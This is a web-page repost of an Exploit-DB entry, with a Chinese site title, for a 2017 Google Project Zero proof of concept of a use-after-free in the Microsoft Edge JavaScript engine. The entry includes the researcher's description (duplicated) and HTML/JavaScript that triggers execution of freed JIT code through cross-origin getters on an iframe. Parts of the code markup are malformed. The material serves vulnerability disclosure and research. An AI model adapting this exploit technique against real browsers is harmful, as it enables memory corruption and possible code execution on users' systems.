Microsoft Edge 38.14393.0.0 – JavaScript Engine Use-After-Free - 体验盒子

作者： Google Security Research

日期： 2017-03-16

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/41623/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

<!--

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1043

I noticed that some javascript getters behave strangely.

My test code:

var whitelist = ["closed", "document", "frames", "length", "location", "opener", "parent", "self", "top", "window"];

var f = document.createElement("iframe");

f.onload = () => {

f.onload = null;

for (var x in window) {

if (whitelist.indexOf(x) != -1)

continue;

try {

window.__lookupGetter__(x).call(f.contentWindow);

log(x);

} catch (e) {

}

};

f.src = "https://abc.xyz/";

document.body.appendChild(f);

And after some plays, finally reached an UAF condition. PoC is attached. RIP will jump into the freed JIT code.

Tested on Microsoft Edge 38.14393.0.0.

-->

<!--

Microsoft Edge: Undefined behavior on some getters

I noticed that some javascript getters behave strangely.

My test code:

var whitelist = ["closed", "document", "frames", "length", "location", "opener", "parent", "self", "top", "window"];

var f = document.createElement("iframe");

f.onload = () => {

f.onload = null;

for (var x in window) {

if (whitelist.indexOf(x) != -1)

continue;

try {

window.__lookupGetter__(x).call(f.contentWindow);

log(x);

} catch (e) {

}

};

f.src = "https://abc.xyz/";

document.body.appendChild(f);

And after some plays, finally reached an UAF condition. PoC is attached. RIP will jump into the freed JIT code.

Tested on Microsoft Edge 38.14393.0.0.

-->

</pre>

function log(txt) {

var c = document.createElement("div");

c.innerText = "log: " + txt;

d.appendChild(c);

}

function main() {

var f = document.createElement("iframe");

f.onload = () => {

var status = window.__lookupGetter__("defaultStatus").call(f.contentWindow);

var func_cons = status.constructor.constructor;

var ff = func_cons("return 0x12345;");

for (var i = 0; i < 0x100000; i++)

ff();

f.onload = () => {

alert("get ready");

ff();

};

f.src = "about:blank";

};

//a = f.contentWindow;

f.src = "about:blank";

};

document.body.appendChild(f);

}

main();

</script>